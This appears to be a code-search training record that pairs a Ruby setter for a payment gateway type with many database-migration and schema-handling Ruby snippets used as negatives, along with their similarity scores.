"def migrate version = nil\n if @migrations\n schema = meta_schema\n version = __check_migration_version(version)\n __create_meta_data_table_for(schema)\n\n s = schema.first || schema.new(version: 0)\n unless s.version == version\n @migrations.sort_by { |migration| migration.version }.each do |m|\n m.migrate(:up) if s.version < m.version and m.version <= version\n\n if s.version >= m.version and m.version > version\n m.migrate(:down)\n else # Handle migrate(0)\n m.migrate(:down) if s.version >= m.version and version.zero?\n end\n end\n s.update_attribute :version, version\n end\n version = s.version\n end\n version\n end",
"def initialize_schema_migrations_table\n unless table_exists?('schema_migrations')\n execute(\"CREATE TABLE schema_migrations (version string primary key INDEX using plain)\")\n end\n end",
"def initialize_schema_migrations_table\n unless table_exists?('schema_migrations')\n execute(\"CREATE TABLE schema_migrations (version string primary key INDEX using plain)\")\n end\n end",
"def initialize_schema_migrations_table\n unless table_exists?('schema_migrations')\n execute(\"CREATE TABLE schema_migrations (version string primary key INDEX using plain)\")\n end\n end",
"def reference_columns(excluded_supertypes) #:nodoc:\n trace :columns, \"Reference Columns for #{name}\" do\n if is_table\n if isr = injected_surrogate_role\n ref_from = references_from.detect{|ref| ref.from_role == isr}\n [ActiveFacts::RMap::Column.new(ref_from)]\n else\n [ActiveFacts::RMap::Column.new(self_value_reference)]\n end\n else\n [ActiveFacts::RMap::Column.new]\n end\n end\n end",
"def columns\n super + [:extra_column]\n end",
"def columns_default\n super + ['creators','projects','version']\n end",
"def apply_alter_table_generator(name, generator)\n ops = generator.operations\n\n unless can_add_primary_key_constraint_on_nullable_columns?\n if add_pk = ops.find{|op| op[:op] == :add_constraint && op[:type] == :primary_key}\n ops = add_pk[:columns].map{|column| {:op => :set_column_null, :name => column, :null => false}} + ops\n end\n end\n\n apply_alter_table(name, ops)\n end",
"def alter_table_sql(table, op)\n case op[:op]\n when :add_column\n \"ALTER TABLE #{quote_schema_table(table)} ADD #{column_definition_sql(op)}\"\n when :drop_column\n \"ALTER TABLE #{quote_schema_table(table)} DROP #{column_definition_sql(op)}\"\n when :rename_column\n \"ALTER TABLE #{quote_schema_table(table)} ALTER #{quote_identifier(op[:name])} TO #{quote_identifier(op[:new_name])}\"\n when :set_column_type\n \"ALTER TABLE #{quote_schema_table(table)} ALTER #{quote_identifier(op[:name])} TYPE #{type_literal(op)}\"\n else\n super(table, op)\n end\n end",
"def alter_table_sql(table, op)\n case op[:op]\n when :add_column\n \"ALTER TABLE #{quote_schema_table(table)} ADD #{column_definition_sql(op)}\"\n when :rename_column\n \"SP_RENAME #{literal(\"#{quote_schema_table(table)}.#{quote_identifier(op[:name])}\")}, #{literal(op[:new_name].to_s)}, 'COLUMN'\"\n when :set_column_type\n \"ALTER TABLE #{quote_schema_table(table)} ALTER COLUMN #{quote_identifier(op[:name])} #{type_literal(op)}\"\n when :set_column_null\n sch = schema(table).find{|k,v| k.to_s == op[:name].to_s}.last\n type = {:type=>sch[:db_type]}\n type[:size] = sch[:max_chars] if sch[:max_chars]\n \"ALTER TABLE #{quote_schema_table(table)} ALTER COLUMN #{quote_identifier(op[:name])} #{type_literal(type)} #{'NOT ' unless op[:null]}NULL\"\n when :set_column_default\n \"ALTER TABLE #{quote_schema_table(table)} ADD CONSTRAINT #{quote_identifier(\"sequel_#{table}_#{op[:name]}_def\")} DEFAULT #{literal(op[:default])} FOR #{quote_identifier(op[:name])}\"\n else\n super(table, op)\n end\n end",
"def read_new_schema\n AssociatedRecord.reset_column_information\n DeeplyAssociatedRecord.reset_column_information\n\n AssociatedRecord.cached_primary_index.send(:instance_variable_set, :@cache_key_prefix, nil)\n Item.cached_primary_index.send(:instance_variable_set, :@cache_key_prefix, nil)\n end",
"def create_tables!\n migrate(:up)\n end",
"def migration_set_attribs\n tcs = table_comments || {}\n\n if view_sql&.strip&.present?\n view_sql_text = <<~VSTEXT\n self.view_sql = <<~VIEWSQL\n #{view_sql}\n VIEWSQL\n VSTEXT\n end\n\n <<~SETATTRIBS\n self.schema = '#{db_migration_schema}'\n self.table_name = '#{table_name}'\n self.class_name = '#{class_name}'\n self.fields = %i[#{migration_fields_array.join(' ')}]\n self.table_comment = '#{tcs[:table]}'\n self.fields_comments = #{(tcs[:fields] || {}).to_h}\n self.db_configs = #{(db_configs || {}).to_h}\n self.no_master_association = #{!!no_master_association}\n self.resource_type = :#{resource_type}\n self.all_referenced_tables = #{(all_referenced_tables || []).to_a}\n #{view_sql_text}\n SETATTRIBS\n end",
"def create_entity_columns\n entity = self.name.constantize\n entity.reset_column_information\n \n entity.columns.each_with_index do |column, i|\n f = self.entity_columns.detect{ |col| col.name == column.name }\n unless f\n f = self.entity_columns.build(:name => column.name)\n association = entity.reflect_on_all_associations(:belongs_to).detect{|a| a.options[:foreign_key] == column.name }\n association ||= entity.reflect_on_association column.name.sub(/_id$/, '').to_sym if column.name.ends_with? '_id'\n if association\n f.ref_type = :Entity.to_s\n f.ref_name = association.options[:polymorphic] ? 'POLYMORPHIC' : association.class_name\n end\n end\n \n f.term = \"label.#{column.name}\" unless f.term\n f.col_type = column.type.to_s\n f.col_size = column.limit if(column.respond_to?(:limit))\n f.nullable = column.null\n f.def_val = (column.default == nil) ? nil : column.default.to_s\n f.disp_rank = i * 10\n f.save!\n end\n\n uniq_index_def = ActiveRecord::Base.connection.indexes(entity.table_name).find { |index_def| index_def.unique == true }\n \n # unique ranks by getting unique index\n if(uniq_index_def)\n uniq_seq = 1\n uniq_index_def.columns.each do |uniq_col_name|\n column = self.entity_columns.where(\"name = ?\", uniq_col_name).first\n if(column)\n column.uniq_rank = uniq_seq * 10\n column.save!\n uniq_seq += 1\n end\n end\n end\n \n return self.entity_columns\n end",
"def orm_patches_applied; end",
"def columns(table_name, name = nil) end",
"def canonical_fields(table_def)\n table_def.fields.inject([]) do |fields, f|\n fields << SpreeMigrateDB::FieldDef.new(canonical_table_name(f.table), f.column, f.type, f.options)\n end\n end",
"def ignored_translation_table_colums(klass); end",
"def up\n rename_column TABLE_NAME, OLD_COLUMN_NAME, NEW_COLUMN_NAME\n end",
"def up\n rename_column TABLE_NAME, OLD_COLUMN_NAME, NEW_COLUMN_NAME\n end",
"def migrated_down(migration)\n column_family.delete({\n where: {\n version: migration.version.to_s,\n name: migration.name,\n },\n })\n end",
"def alter_table_sql(table, op)\n\t if op[:op] == :add_column\n subclause = \"ADD #{column_definition_sql(op)}\"\n else\n quoted_name = quote_identifier(op[:name]) if op[:name]\n case op[:op]\n when :set_column_type\n subclause = \"MODIFY #{quoted_name} #{type_literal(op)}\"\n when :set_column_default\n subclause = \"MODIFY #{quoted_name} DEFAULT #{literal(op[:default])}\"\n when :set_column_null\n subclause = \"MODIFY #{quoted_name} #{op[:null] ? 'NULL' : 'NOT NULL'}\"\n when :modify_constraint\n subclause = \"MODIFY #{constraint_definition_sql(op)}\"\n else\n\t return super(table, op)\n end\n end\n \"ALTER TABLE #{quote_schema_table(table)} #{subclause}\"\n\t end",
"def career_migration_data\n<<RUBY\nt.string :title\n t.string :position\n t.string :location\n t.text :description\n t.text :questions\n t.boolean :status,default: true\n\nRUBY\n end",
"def initialize_schema_migrations_table_with_plugins\n sm_table = Goldberg::Migrator.schema_migrations_table_name\n \n unless tables.detect { |t| t == sm_table }\n create_table(sm_table, :id => false) do |schema_migrations_table|\n schema_migrations_table.column :plugin_name, :string, :null => false\n schema_migrations_table.column :version, :string, :null => false\n end\n add_index sm_table, [:plugin_name, :version], :unique => true,\n :name => 'unique_schema_migrations'\n \n # Backwards-compatibility: if we find schema_info, assume we've\n # migrated up to that point:\n si_table = ActiveRecord::Base.table_name_prefix + 'plugin_schema_info' +\n ActiveRecord::Base.table_name_suffix\n if tables.detect { |t| t == si_table }\n old_version = select_value(\"SELECT version FROM #{quote_table_name(si_table)} WHERE plugin_name=#{Goldberg::Migrator.plugin}\").to_i\n assume_migrated_upto_version(old_version)\n drop_table(si_table)\n end\n end\n end",
"def column_definitions(table_name)\n fields = query(<<~SQL, \"SCHEMA\")\n SELECT a.attname, format_type(a.atttypid, a.atttypmod),\n pg_get_expr(d.adbin, d.adrelid), a.attnotnull, a.atttypid, a.atttypmod,\n c.collname, NULL AS comment,\n #{supports_virtual_columns? ? 'attgenerated' : quote('')} as attgenerated,\n NULL as is_hidden\n FROM pg_attribute a\n LEFT JOIN pg_attrdef d ON a.attrelid = d.adrelid AND a.attnum = d.adnum\n LEFT JOIN pg_type t ON a.atttypid = t.oid\n LEFT JOIN pg_collation c ON a.attcollation = c.oid AND a.attcollation <> t.typcollation\n WHERE a.attrelid = #{quote(quote_table_name(table_name))}::regclass\n AND a.attnum > 0 AND NOT a.attisdropped\n ORDER BY a.attnum\n SQL\n\n crdb_fields = crdb_column_definitions(table_name)\n\n # Use regex comparison because if a type is an array it will\n # have [] appended to the end of it.\n target_types = [\n /geometry/,\n /geography/,\n /interval/,\n /numeric/\n ]\n\n re = Regexp.union(target_types)\n fields.map do |field|\n dtype = field[1]\n field[1] = crdb_fields[field[0]][2].downcase if re.match(dtype)\n field[7] = crdb_fields[field[0]][1]&.gsub!(/^\\'|\\'?$/, '')\n field[9] = true if crdb_fields[field[0]][3]\n field\n end\n fields.delete_if do |field|\n # Don't include rowid column if it is hidden and the primary key\n # is not defined (meaning CRDB implicitly created it).\n if field[0] == CockroachDBAdapter::DEFAULT_PRIMARY_KEY\n field[9] && !primary_key(table_name)\n else\n false # Keep this entry.\n end\n end\n end",
"def copy_bucket_maker_migration\n if behavior == :invoke && store_in == 'active_record' && active_recordable_exists?\n migration_template \"active_recordable_migration.rb\", \"db/migrate/create_#{ACTIVE_RECORDABLE.pluralize}\"\n end\n end",
"def create_versioned_table(create_table_options = {})\n # create version column in main table if it does not exist\n if !self.content_columns.find { |c| [version_column.to_s, 'lock_version'].include? c.name }\n self.connection.add_column table_name, version_column, :integer\n self.reset_column_information\n end\n\n return if connection.table_exists?(versioned_table_name)\n\n self.connection.create_table(versioned_table_name, create_table_options) do |t|\n t.column versioned_foreign_key, :integer\n t.column version_column, :integer\n end\n\n self.versioned_columns.each do |col|\n self.connection.add_column versioned_table_name, col.name, col.type,\n :limit => col.limit,\n :default => col.default,\n :scale => col.scale,\n :precision => col.precision\n end\n\n if type_col = self.columns_hash[inheritance_column]\n self.connection.add_column versioned_table_name, versioned_inheritance_column, type_col.type,\n :limit => type_col.limit,\n :default => type_col.default,\n :scale => type_col.scale,\n :precision => type_col.precision\n end\n\n self.connection.add_index versioned_table_name, versioned_foreign_key\n end",
"def change_table_with_versions(*args, &block)\n SchemaStatements.apply_versionable_option!(:change_table, self, *args, &block)\n end",
"def rename_columns(table_name, columns_old_new_create)\n temporary_table_name = \"#{table_name}_temp\"\n\n DataMapper::Transaction.new(adapter).commit do\n adapter.execute(\n \"ALTER TABLE #{quote table_name} \"\\\n \"RENAME TO #{quote temporary_table_name}\"\n )\n\n create_table table_name do\n columns_old_new_create.each do |_old, new, *options|\n column new, *options\n end\n end\n\n columns_old = columns_old_new_create.map { |c| quote c[0] }\n columns_new = columns_old_new_create.map { |c| quote c[1] }\n\n adapter.execute(\n \"INSERT INTO #{quote table_name}\" +\n \"(#{columns_new.join(',')}) \" +\n \"SELECT #{columns_old.join(',')} \" +\n \"FROM #{quote temporary_table_name}\")\n\n drop_table temporary_table_name\n end\n end",
"def table_name; \"gdo_module\"; end",
"def alter_table_generator_class\n Schema::AlterTableGenerator\n end",
"def rebuild(table); end",
"def table_name\n \"#{table_name_prefix}data_migrations#{table_name_suffix}\"\n end",
"def extend_sql_avoiding_table_naming_clashes!(sql, addition)\r\n used_table_aliases = table_aliases_from_join_fragment(addition)\r\n old_table_aliases = table_aliases_from_join_fragment(sql)\r\n (used_table_aliases & old_table_aliases).each do |join_table_alias|\r\n i = 0\r\n begin\r\n i += 1\r\n new_alias = \"renamed_join_table_#{i}\"\r\n end until !used_table_aliases.include?(new_alias)\r\n convert_table_name_to_new_alias!(sql, join_table_alias, new_alias)\r\n end\r\n sql << \" #{addition} \"\r\n end",
"def vendor_table\n update unless @vendor_table\n @vendor_table\n end",
"def migrate\n run_migrations pending_migrations, :up\n end",
"def field_changes\n table_name = if table_name_changed\n prev_table_name\n else\n self.table_name\n end\n\n begin\n cols = table_columns\n old_colnames = cols.map(&:name) - standard_columns\n old_colnames = old_colnames.reject { |f| f.index(/^embedded_report_|^placeholder_/) }\n rescue StandardError\n return\n end\n\n fields = migration_fields_array\n new_colnames = fields.map(&:to_s) - standard_columns\n\n added = new_colnames - old_colnames\n removed = old_colnames - new_colnames\n changed = {}\n db_configs.each do |k, v|\n current_type = cols.find { |c| c.name == k.to_s }&.type\n next unless v[:type] && current_type\n\n expected_type = v[:type]&.to_sym\n current_type = :timestamp if current_type == :datetime\n changed[k.to_s] = expected_type if current_type != expected_type\n end\n\n if belongs_to_model\n belongs_to_model_id = \"#{belongs_to_model}_id\"\n removed -= [belongs_to_model_id]\n end\n\n [added, removed, changed, old_colnames]\n end",
"def setup_db\n ActiveRecord::Schema.define(:version => 1) do\n create_table :users do |t|\n t.string :email, :limit => 255\n t.string :crypted_password, :limit => 255\n \n t.timestamps\n end\n end\n \n ActiveRecord::Schema.define(:version => 1) do\n create_table :labels do |t|\n t.string :type, :limit => 255\n t.string :system_label, :limit => 255\n t.string :label, :limit => 255\n \n t.timestamps\n end\n end\nend",
"def test_change_column_null\n testing_table_with_only_foo_attribute do\n notnull_migration = Class.new(ActiveRecord::Migration::Current) do\n def change\n change_column_null :testings, :foo, false\n end\n end\n notnull_migration.new.suppress_messages do\n notnull_migration.migrate(:up)\n assert_equal false, connection.columns(:testings).find { |c| c.name == \"foo\" }.null\n notnull_migration.migrate(:down)\n assert connection.columns(:testings).find { |c| c.name == \"foo\" }.null\n end\n end\n end",
"def column_definitions(table_name) #:nodoc:\n pieces = table_name.split('.')\n \n if pieces.length == 1\n schema_name = 'public'\n table_name = pieces.last\n else\n schema_name, table_name = pieces.first, pieces.last\n end\n \n query <<-end_sql\n SELECT column_name, data_type, column_default, is_nullable\n FROM v_catalog.columns\n WHERE table_schema = '#{schema_name.gsub(/(^\"|\"$)/,'')}'\n AND table_name = '#{table_name.gsub(/(^\"|\"$)/,'')}'\n end_sql\n end",
"def new_table_name=(name)\n @new_table_name = \"layer_table_#{name}\"\n end",
"def alter_table(name, *)\n super\n remove_cached_schema(name)\n nil\n end",
"def revise_table\n name = @table_extension.name\n @table_extension.extended.each do |method_name|\n define_extension_setter(name, method_name)\n define_extension_getter(name, method_name)\n define_extension_dirty(name, method_name)\n end\n @table_extension.mirrored.each do |method_name|\n define_extension_mirror_setter(name, method_name)\n end\n true\n end",
"def generate!\n table_attributes = resource.table_attributes\n model_attributes = resource.model_attributes\n\n table_keys = table_attributes.keys\n model_keys = model_attributes.keys\n\n # Create table\n if table_keys.blank?\n Rails.logger.info \"effective_developer migrate #{resource.plural_name}: create table\"\n return rails_migrate(\"create_#{resource.plural_name}\", model_attributes)\n end\n\n # Fields are not in database, but present in model.rb\n if(add_keys = (model_keys - table_keys)).present?\n Rails.logger.info \"effective_developer migrate #{resource.plural_name}: add #{add_keys.to_sentence}\"\n rails_migrate(\"add_ATTRIBUTES_to_#{resource.plural_name}\", model_attributes.slice(*add_keys))\n end\n\n # Fields are in database, but no longer in our effective_resource do block\n if (remove_keys = (table_keys - model_keys)).present?\n Rails.logger.info \"effective_developer migrate #{resource.plural_name}: remove #{remove_keys.to_sentence}\"\n rails_migrate(\"remove_ATTRIBUTES_from_#{resource.plural_name}\", table_attributes.slice(*remove_keys))\n end\n end",
"def table\n Identity\n end",
"def table\n Identity\n end",
"def copy_migrations\n # Can't get this any more DRY, because we need this order.\n better_migration_template \"create_searches.rb\"\n better_migration_template \"create_bookmarks.rb\"\n better_migration_template \"remove_editable_fields_from_bookmarks.rb\"\n better_migration_template \"add_user_types_to_bookmarks_searches.rb\"\n end",
"def up\n change_column(:my_table, :my_columnn, :new_type)\nend",
"def alter(field)\n sql = build_sql(field)\n execute(sql)\nend",
"def migrate!\n Migrator.migrate(name)\n end",
"def migrate!\n Migrator.migrate(name)\n end",
"def columns\n Proc.new do\n <<-SQL\n id integer primary key autoincrement,\n sample_id integer, --foreign key to reference the original revision\n \n --these are all true contemporaneous of the edit, post or pre-edit may be different\n account_creation timestamp(20), --this should be the entry in the logevents call, but if we exceed the max number of requests, we won't get it\n account_lifetime integer, --this is the lifetime of the account in seconds\n edits_last_second integer, --want a figure to show recent activity do buckets instead\n edits_last_minute integer,\n edits_last_hour integer,\n edits_last_day integer,\n edits_last_week integer,\n edits_last_month integer,\n edits_last_year integer,\n total_edits integer,\n --rights_grant_count \n --rights_removal_count\n --groups string,\n FOREIGN KEY(sample_id) REFERENCES irc_wikimedia_org_en_wikipedia(id) --these foreign keys probably won't be enforced b/c sqlite doesn't include it by default--TODO this foreign table name probably shouldn't be hard coded\nSQL\n end\n end",
"def migrate(version = nil)\n ActiveRecord::ConnectionAdapters::SchemaStatements.class_eval do\n include Goldberg::SchemaStatements\n end\n\n version && (version = version.to_i)\n super(\"#{RAILS_ROOT}/vendor/plugins/#{plugin_name}/db/migrate\", version)\n end",
"def create_table_structure(columns_to_include)\n if @table_created\n @columns.each do |column|\n begin\n ActiveRecord::Schema.add_column(@new_table_name, column[:name], column[:type]) if (columns_to_include.blank? or columns_to_include.include? column[:name])\n rescue\n puts \"Couldnt add field #{column[:name].downcase}\"\n end\n end\n ActiveRecord::Schema.add_column(@new_table_name,\"the_geom\", :geometry,:null => false)\n ActiveRecord::Schema.add_index(@new_table_name,\"the_geom\",:spatial => true)\n end\n end",
"def create_table_structure(columns_to_include)\n if @table_created\n @columns.each do |column|\n begin\n ActiveRecord::Schema.add_column(@new_table_name, column[:name], column[:type]) if (columns_to_include.blank? or columns_to_include.include? column[:name])\n rescue\n puts \"Couldnt add field #{column[:name].downcase}\"\n end\n end\n ActiveRecord::Schema.add_column(@new_table_name,\"the_geom\", :geometry,:null => false)\n ActiveRecord::Schema.add_index(@new_table_name,\"the_geom\",:spatial => true)\n end\n end",
"def proxy_columns(columns)\n columns.each do |column|\n if (type = column_type(column.type)).present?\n # When setting the default value, note that +main_instance+ might be nil, so we have to use +try+\n attribute column.name, type, default: proc { |f| f.main_instance.try(column.name) }\n end\n end\n end",
"def migrations\n raise(ArgumentError, \"Can't set migrations while using :version option\") if @using_deprecated_version_setting\n yield\n end",
"def reference_columns(excluded_supertypes) #:nodoc:\n trace :columns, \"Reference Columns for #{name}\" do\n\n if absorbed_via and\n # If this is not a subtype, or is a subtype that has its own identification, use the id.\n (all_type_inheritance_as_subtype.size == 0 ||\n all_type_inheritance_as_subtype.detect{|ti| ti.provides_identification })\n rc = absorbed_via.from.reference_columns(excluded_supertypes)\n # The absorbed_via reference gets skipped here, and also in object_type.rb\n trace :columns, \"Skipping #{absorbed_via}\"\n absorbed_mirror ||= absorbed_via.reversed\n rc.each{|col| col.prepend(absorbed_mirror)}\n return rc\n end\n\n # REVISIT: Should have built preferred_identifier_references\n preferred_identifier.role_sequence.all_role_ref.map do |role_ref|\n # REVISIT: Should index references by to_role:\n ref = references_from.detect {|ref| ref.to_role == role_ref.role}\n\n raise \"reference for role #{role_ref.describe} not found on #{name} in #{references_from.size} references:\\n\\t#{references_from.map(&:to_s)*\"\\n\\t\"}\" unless ref\n\n ref.columns({})\n end.flatten\n end\n end",
"def auto_migrate!\n DataMapper.auto_migrate!(name)\n end",
"def right_table; table_sync.right_table; end",
"def migrate!(opts)\n raise NotSupportedError, \"Unable to migrate using `#{self}`\"\n end",
"def columns(table_name, *rest)\n @table.fields.map {|s| ::ActiveRecord::ConnectionAdapters::Column.new(s.to_s, nil, String)}\n end",
"def migration_railties; end",
"def migration_railties; end",
"def migrations\n rake 'admin:install:migrations'\n rake 'db:migrate SCOPE=admin'\n end",
"def column_definitions(table_name)\r\n query <<-end_sql\r\n SELECT a.attname, format_type(a.atttypid, a.atttypmod), d.adsrc, a.attnotnull, c.consrc\r\n FROM pg_attribute a LEFT JOIN pg_attrdef d\r\n ON a.attrelid = d.adrelid AND a.attnum = d.adnum\r\n LEFT JOIN pg_constraint c ON a.attrelid = c.conrelid AND \r\n c.contype = 'c' AND c.conkey[1] = a.attnum\r\n WHERE a.attrelid = '#{table_name}'::regclass\r\n AND a.attnum > 0 AND NOT a.attisdropped\r\n ORDER BY a.attnum\r\n end_sql\r\n end",
"def create_side_table\n RailsRedshiftReplicator.connection.exec \"CREATE TABLE #{temporary_table_name} (LIKE #{replication.target_table})\"\n end",
"def save_columns!\n # NetzkeFieldList.update_list_for_current_authority(global_id, columns(false), original_data_class.name) if persistent_config_enabled?\n end",
"def requires_table_name_for_update\n true\n end",
"def up\n create_table TABLE_NAME do |t|\n #\n # Single Table Inheritance (STI)\n #\n\n t.string :type\n\n #\n # Columns\n #\n\n t.datetime :real_path_modified_at, null: false\n t.string :real_path_sha1_hex_digest, limit: 40, null: false\n t.text :relative_path, null: false\n\n #\n # References\n #\n\n t.references :parent_path, null: false\n end\n\n change_table TABLE_NAME do |t|\n #\n # Foreign Key Indices\n #\n\n t.index :parent_path_id\n\n #\n # Unique Indices\n #\n\n t.index :real_path_sha1_hex_digest, unique: true\n # relative_path is unique because all parent_paths must be able to be unified.\n t.index :relative_path, unique: true\n end\n end",
"def db_column_func(&block)\n new_structure = self.class.db_structure\n\n yield(new_structure)\n self.class.update_db(new_structure)\n new_structure\n end",
"def rebuild_model options = {}\n ActiveRecord::Base.connection.create_table :dummies, :force => true do |table|\n table.string :in_the_clear\n table.binary :secret\n table.binary :secret_key\n table.binary :secret_iv\n table.binary :segreto\n end\n rebuild_class options\nend",
"def on_table?; @on_table; end",
"def default_columns\n#\t\t%w( id case_icf_master_id mother_icf_master_id icf_master_id \n\t\t%w( id case_icf_master_id mother_icf_master_id icf_master_id \n\t\t\tsubject_type vital_status sex dob \n\t\t\tfirst_name last_name)\n\tend",
"def columns(table_name, name = nil) #:nodoc:\r\n table_structure(table_name).map do |field|\r\n AdvantageColumn.new(strip_or_self(field['COLUMN_NAME']), field['COLUMN_DEF'], strip_or_self(field['TYPE_NAME']), field['NULLABLE'])\r\n end\r\n end",
"def schema_meta_structure\n CreateVersionsTableQuery.new.to_cql\n end"
] |
[
"0.65882033",
"0.6573994",
"0.654096",
"0.6381884",
"0.6279847",
"0.6212607",
"0.6081981",
"0.60590905",
"0.6054544",
"0.59881574",
"0.5984498",
"0.5936947",
"0.5904286",
"0.59028167",
"0.588025",
"0.581781",
"0.58148825",
"0.5789818",
"0.5754122",
"0.5752626",
"0.57406616",
"0.5694796",
"0.5685698",
"0.5674052",
"0.56728417",
"0.56514955",
"0.5647685",
"0.5647685",
"0.5647685",
"0.5610021",
"0.5597652",
"0.5590452",
"0.557949",
"0.5575342",
"0.5557809",
"0.555767",
"0.554926",
"0.5538612",
"0.5533854",
"0.55308026",
"0.55132324",
"0.55074495",
"0.55057496",
"0.55019325",
"0.55019325",
"0.55016124",
"0.54973394",
"0.5488176",
"0.54641175",
"0.5461041",
"0.5459965",
"0.5453477",
"0.5453263",
"0.5447856",
"0.5443815",
"0.5436712",
"0.54354614",
"0.54313016",
"0.5431236",
"0.54294825",
"0.5422127",
"0.541573",
"0.5412117",
"0.5407703",
"0.5404455",
"0.5400278",
"0.53989875",
"0.53975534",
"0.53963745",
"0.53906476",
"0.53906476",
"0.5378559",
"0.53695935",
"0.5369369",
"0.53679377",
"0.5367713",
"0.53617775",
"0.5349623",
"0.5348646",
"0.5348646",
"0.53437656",
"0.53420395",
"0.5340192",
"0.5339842",
"0.5335623",
"0.5323492",
"0.5322189",
"0.5318812",
"0.5318812",
"0.53132516",
"0.53107685",
"0.5304011",
"0.52930474",
"0.52930033",
"0.52910763",
"0.5273067",
"0.5267774",
"0.5264985",
"0.5247477",
"0.52460235",
"0.52353615"
] |
0.0
|
-1
|
MIGRATION use separate table over columns in same table Accessors for backward compatibility
|
def payment_gateway_type=(type)
gateway_setting.gateway_type = type
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def migrate\n raise NotImplementedError\n end",
"def migrate\n db.create_table? table_name do\n primary_key :id\n String :ptype\n String :v0\n String :v1\n String :v2\n String :v3\n String :v4\n String :v5\n end\n end",
"def migrate\n ActiveRecord::Schema.define do\n self.verbose = true # or false\n\n enable_extension \"plpgsql\"\n #enable_extension \"pgcrypto\"\n\n create_table(:access_lines, force: true) do |t|\n t.string :line, null: false\n t.datetime :timestamp, null: false\n t.string :username, null: false\n t.string :peer_id, null: false\n end\n\n # A backup for the uniqueness validation in AccessLine\n add_index :access_lines, [:timestamp, :username], unique: true\n end\n end",
"def migration\n end",
"def migrated_up(migration)\n column_family.insert({\n data: {\n version: migration.version.to_s,\n name: migration.name,\n migrated_at: Time.now.utc,\n },\n })\n end",
"def migrate(_key, _options); end",
"def migrate(key, options); end",
"def migration_update_table\n added, removed, changed, prev_fields = field_changes\n\n if table_comments\n new_table_comment = table_comment_changes\n new_fields_comments = fields_comments_changes\n end\n\n unless added.present? || removed.present? || changed.present? ||\n new_table_comment || new_fields_comments.present? || table_name_changed || no_master_association_changed\n return\n end\n\n new_fields_comments ||= {}\n\n <<~ARCONTENT\n self.no_master_association = #{!!no_master_association}\n #{table_name_changed ? \" self.prev_table_name = '#{prev_table_name}'\" : ''}\n #{table_name_changed ? ' update_table_name' : ''}\n #{table_name_changed ? '' : \" self.prev_fields = %i[#{prev_fields.join(' ')}]\"}\n \\# added: #{added}\n \\# removed: #{removed}\n \\# changed type: #{changed}\n #{new_table_comment ? \" \\# new table comment: #{new_table_comment.gsub(\"\\n\", '\\n')}\" : ''}\n #{new_fields_comments.present? ? \" \\# new fields comments: #{new_fields_comments.keys}\" : ''}\n update_fields\n ARCONTENT\n end",
"def alter_table_sql(table, op)\n case op[:op]\n when :rename_column\n unless sch = op[:schema]\n raise(Error, \"can't find existing schema entry for #{op[:name]}\") unless sch = op[:schema] || schema(table).find{|c| c.first == op[:name]}\n sch = sch.last\n end\n [\n alter_table_sql(table, :op=>:add_column, :name=>op[:new_name], :default=>sch[:ruby_default], :type=>sch[:db_type], :null=>sch[:allow_null]),\n from(table).update_sql(op[:new_name]=>op[:name]),\n alter_table_sql(table, :op=>:drop_column, :name=>op[:name])\n ]\n when :set_column_null, :set_column_default\n raise(Error, \"can't find existing schema entry for #{op[:name]}\") unless sch = op[:schema] || schema(table).find{|c| c.first == op[:name]}\n sch = sch.last\n\n sch = if op[:op] == :set_column_null\n sch.merge(:allow_null=>op[:null])\n else\n sch.merge(:ruby_default=>op[:default])\n end\n\n [\n alter_table_sql(table, :op=>:rename_column, :name=>op[:name], :new_name=>:sequel_access_backup_column, :schema=>sch),\n alter_table_sql(table, :op=>:rename_column, :new_name=>op[:name], :name=>:sequel_access_backup_column, :schema=>sch)\n ]\n else\n super\n end\n end",
"def undo_cleanup_concurrent_column_rename(table, old_column, new_column, type: nil, batch_column_name: :id)\n Gitlab::Database::QueryAnalyzers::RestrictAllowedSchemas.require_ddl_mode!\n\n setup_renamed_column(__callee__, table, new_column, old_column, type, batch_column_name)\n\n with_lock_retries do\n install_bidirectional_triggers(table, old_column, new_column)\n end\n end",
"def rename_column_concurrently(table, old_column, new_column, type: nil, batch_column_name: :id)\n Gitlab::Database::QueryAnalyzers::RestrictAllowedSchemas.require_ddl_mode!\n\n setup_renamed_column(__callee__, table, old_column, new_column, type, batch_column_name)\n\n with_lock_retries do\n install_bidirectional_triggers(table, old_column, new_column)\n end\n end",
"def up\n # Use self.class:: so constants are resolved in subclasses instead of this class.\n self.class::COLUMNS.each do |column|\n change_column_null(self.class::TABLE_NAME, column, false)\n end\n end",
"def migrate\n DataMapper.auto_migrate!\n end",
"def standard_columns\n pset = %w[id created_at updated_at contactid user_id\n extra_log_type admin_id]\n\n # Only add in the master_id if the master is a foreign key, not a standard integer field\n # so that we treat the field correctly in comparisons of new - old\n pset << 'master_id' if master_fk?\n\n pset += [\"#{table_name.singularize}_table_id\", \"#{table_name.singularize}_id\"]\n pset\n end",
"def real_column; end",
"def prefix_for_tables\n migration_version = ActiveRecord::Migrator.current_version\n end",
"def columns_default\n super + ['version']\n end",
"def migration_keys\n [:name, :limit, :precision, :unsigned, :scale, :default, :null]\n end",
"def generate_migrations\n versions = []\n versions << generate_migration(\"create_users\", <<-EOF\nHanami::Model.migration do\n change do\n create_table :users do\n primary_key :id\n column :name, String\n end\n end\nend\nEOF\n)\n\n versions << generate_migration(\"add_age_to_users\", <<-EOF\nHanami::Model.migration do\n change do\n add_column :users, :age, Integer\n end\nend\nEOF\n)\n versions\n end",
"def update_schema\n create_table unless table_exists?\n (schema_columns - column_names).each { |column| ActiveRecord::Migration.add_column(table_name, column, :string) }\n (column_names - protected_columns - schema_columns).each { |column| ActiveRecord::Migration.remove_column(table_name, column) }\n end",
